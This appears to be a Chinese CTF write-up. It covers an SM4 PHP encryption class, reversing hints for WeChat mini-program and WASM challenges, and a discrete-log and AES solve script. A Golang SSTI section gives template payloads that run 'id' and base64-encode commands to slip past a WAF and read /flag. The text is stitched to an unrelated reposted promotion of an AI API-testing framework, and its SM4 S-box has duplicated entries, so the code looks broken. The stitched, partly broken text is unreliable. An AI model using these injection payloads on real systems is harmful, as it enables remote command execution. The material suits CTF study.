            0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
            0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
            0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
            0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
            0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
        ];
        private static $SboxTable = [
            0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
            0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
            0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
            0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
            0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
            0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
            0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
            0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
            0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
            0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
            0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
            0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
            0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
            0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
            0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
            0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
        ];
    
        public function __construct($key) {
            $this->setKey($key);
        }
        public function setKey($key) {
            if (strlen($key) != 16) {
                throw new Exception("SM4");
            }
            $key = $this->strToIntArray($key);
            $k = array_merge($key, [0, 0, 0, 0]);
            for ($i = 0; $i < 4; $i++) {
                $k[$i] ^= self::$FK[$i];
            }
            for ($i = 0; $i < 32; $i++) {
                $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
                $this->sk[$i] = $k[$i + 4];
            }
        }
        public function encrypt($plaintext) {
            $len = strlen($plaintext);
            $padding = 16 - ($len % 16);
            $plaintext .= str_repeat(chr($padding), $padding); 
            $ciphertext = '';
            for ($i = 0; $i < strlen($plaintext); $i += 16) {
                $block = substr($plaintext, $i, 16);
                $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
            }
            return $ciphertext;
        }
        private function cryptBlock($block, $mode) {
            $x = $this->strToIntArray($block);
    
            for ($i = 0; $i < 32; $i++) {
                $roundKey = $this->sk[$i];
                $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
                array_shift($x);
            }
            $x = array_reverse($x);
            return $this->intArrayToStr($x);
        }
        private function F($x1, $x2, $x3, $rk) {
            return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
        }
        private function CKF($a, $b, $c, $ck) {
            return $a ^ $this->T($b ^ $c ^ $ck);
        }
        private function T($x) {
            return $this->L($this->S($x));
        }
        private function S($x) {
            $result = 0;
            for ($i = 0; $i < 4; $i++) {
                $byte = ($x >> (24 - $i * 8)) & 0xFF;
                $result |= self::$SboxTable[$byte] << (24 - $i * 8);
            }
            return $result;
        }
        private function L($x) {
            return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
        }
        private function rotl($x, $n) {
            return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
        }
        private function strToIntArray($str) {
            $result = [];
            for ($i = 0; $i < 4; $i++) {
                $offset = $i * 4;
                $result[$i] =
                    (ord($str[$offset]) << 24) |
                    (ord($str[$offset + 1]) << 16) |
                    (ord($str[$offset + 2]) << 8) |
                    ord($str[$offset + 3]);
            }
            return $result;
        }
        private function intArrayToStr($array) {
            $str = '';
            foreach ($array as $int) {
                $str .= chr(($int >> 24) & 0xFF);
                $str .= chr(($int >> 16) & 0xFF);
                $str .= chr(($int >> 8) & 0xFF);
                $str .= chr($int & 0xFF);
            }
            return $str;
        }
    }
    try {
        $key = "a8a58b78f41eeb6a";
        $sm4 = new SM4($key);
        $plaintext = "flag";
        $ciphertext = $sm4->encrypt($plaintext);
        echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
    } catch (Exception $e) {
        echo $e->getMessage() ;
    }
    ?>

    hardtest

    Ai可以直接出,入口

    关键函数是sub_13E1 以及常量 byte_2120

    以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

    这些关键的给 AI 就直接出结果了

    Minigame

    考点: 微信小程序解包,map 文件解包,wasm 还原

    是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

    可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

    export memory a(initial: 258, max: 258); 
    data d_a(offset: 1024) = 
     "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
     "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
    export function c(a:ubyte_ptr):int { // func0 
     var e:int; 
     var b:int_ptr; 
     var d:int; 
     var c:ubyte_ptr; 
     if ({ 
     d = a; 
     if (eqz(d & 3)) goto B_c; 
     0; 
     if (eqz(a[0])) goto B_a; 
     loop L_d { 
     a = a + 1; 
     if (eqz(a & 3)) goto B_c; 
     if (a[0]) continue L_d; 
     } 
     goto B_b; 
     label B_c: 
     loop L_e { 
     b = a; 
     a = b + 4; 
     if ( 
     ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
     } 
     loop L_f { 
     a = b; 
     b = a + 1; 
     if (a[0]) continue L_f; 
     } 
     label B_b: 
     a - d; 
     label B_a: 
     } != 
     38) { 
     return 0 
     } 
     loop L_h { 
     a = c[1024] ^ (c + d)[0]:byte; 
     b = a == 153; 
     if (a != 153) goto B_i; 
     c = c + 1; 
     if (c != 38) continue L_h; 
     label B_i: 
     } 
     return b; 
    } 
    export function b() { // func1 
    }

    把这两个代码给AI就可以直接得到 flag

    Newtrick

    考点:对称加密算法和离散对数问题

    由于有根据源码直接推出解密脚本

    from hashlib import md5 
    from Crypto.Cipher import AES 
    p = 
    115792089237316195423570985008687907853269984665640564039457584007913129639
    747 
    F = GF(p) 
    Q = (123456789, 987654321, 135792468, 864297531) 
    N_Q = F(sum(x * x for x in Q)) 
    R = ( 
     
    535805042719399545796962826381600584293083019277531395431476058825743363271
    45, 
    799913182452098376229457194675627969511376052122949799764791997934539620908
    91, 
    531268698891810405870372104622761160960325946775601453062691481560347571601
    28, 
    973680242303063998595227832922465096998302542946496684346049712134964678571
    55 
    ) 
    N_R = F(sum(x * x for x in R)) 
    try: 
     secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
     print("[+] Secret found:", secret) 
    except Exception as e: 
     print("[-] discrete_log failed:", e) 
     
     secret = 895942422329 
    key = md5(str(secret).encode()).digest() 
    cipher = AES.new(key, AES.MODE_ECB) 
    try: 
     flag = cipher.decrypt(encrypted_flag) 
     print("[+] Flag:", flag) 
    except Exception as e: 
     print("[-] failed:", _e)

    SSTi模板注入,golang的SSTI,执行

    {{.}}

    回显

    map[B64Decode:0x6ee380 exec:0x6ee120]

    直接执行

    {{exec "id"}}

    能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

    {{B64Decode "aGVsbG8="}}

    可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

    {{B64Decode "Y2F0IC9mbGFn" | exec}}

    分享一个我最近开源的 API 测试框架,专门解决 AI 编程助手写测试代码的痛点。

    背景

    不知道大家有没有让 AI 写接口测试的经历?我之前用 Claude、Cursor 写测试,遇到了几个非常头疼的问题:

    场景 1:重复劳动

    每次让 AI 生成测试,都要重新描述项目结构、认证方式、断言风格。测 10 个接口,同样的 fixture 和 setup 代码能重复 10 遍。

    场景 2:Token 黑洞

    一个简单的登录接口测试,AI 生成 200 行代码。发现断言写错了,让它改,又生成 200 行。改 3 次,消耗 2000+ Token,最后还是自己手动改的。

    场景 3:调试死循环

    AI 生成的测试跑不通,报错信息贴给它,它改了一版还是不对。来回复 5 轮对话,问题还在,Token 已经烧了 5000+。


    解决方案

    传统方式:自然语言描述 → AI 生成完整代码 → 运行报错 → 贴报错 → AI 重新生成 → 循环…

    本框架:自然语言描述 → AI 生成 YAML → 框架执行 → 直接定位问题 → 改 YAML 一行

    这个框架的解决方案:

    
    传统方式:自然语言描述 -> AI 生成完整代码 -> 运行报错 -> 贴报错 -> AI 重新生成 -> 循环...
    
    本框架: 自然语言描述 -> AI 生成 YAML -> 框架执行 -> 直接定位问题 -> 改 YAML 一行
    
    

    | 对比项 | 传统 AI 生成 | 本框架 |

    |--------|-------------|--------|

    | 测试 1 个接口 | ~200 行代码 | ~20 行 YAML |

    | 修改断言逻辑 | 重新生成全部代码 | 改 1-2 行 YAML |

    | 10 个接口测试 | 重复 setup 10 次 | 共享配置,0 重复 |

    | 调试一个问题 | 平均 3-5 轮对话 | 通常 1 轮 |


    核心特性

    | 特性 | 说明 |

    |------|------|

    | YAML 声明式用例 | 测试逻辑与执行代码分离,AI 只需生成结构化数据 |

    | MCP Server | 与 Claude/Cursor 等 AI 编辑器无缝集成 |

    | 接口 Workflow 编排 | 单文件支持多步骤接口调用,步骤间数据传递与断言 |

    | 变量解析引擎 | 支持步骤间数据传递、全局变量、动态函数调用 |

    | 自动认证管理 | Token 获取和刷新由框架处理 |

    | 数据工厂 | 无需 Java 依赖,内置 Mock 数据生成 |

    | 多格式测试报告 | Allure(离线 / 在线)、pytest-html(独立 HTML,美化样式) |

    | 多渠道通知 | 钉钉、飞书、企业微信 |

    | 单元测试 | 支持 Python 代码单元测试,Mock 依赖自动注入 |


    快速开始

    安装

     # 1. 安装 uv(如果没有)
    
    curl -LsSf https://astral.sh/uv/install.sh | sh
    
    # 2. 安装 MCP 服务器(推荐:安装为 tool)
    
    uv tool install git+https://github.com/GalaxyXieyu/Api-Test-MCP.git
    
    # 验证
    
    api-auto-test-mcp --help # 管理工具
    
    uv tool list
    
    uv tool uninstall api-auto-test # 以 `uv tool list` 展示的 tool 名称为准 

    📌 转载信息
    原作者:
    xieyuDaniel
    转载时间:
    2025/12/29 15:57:20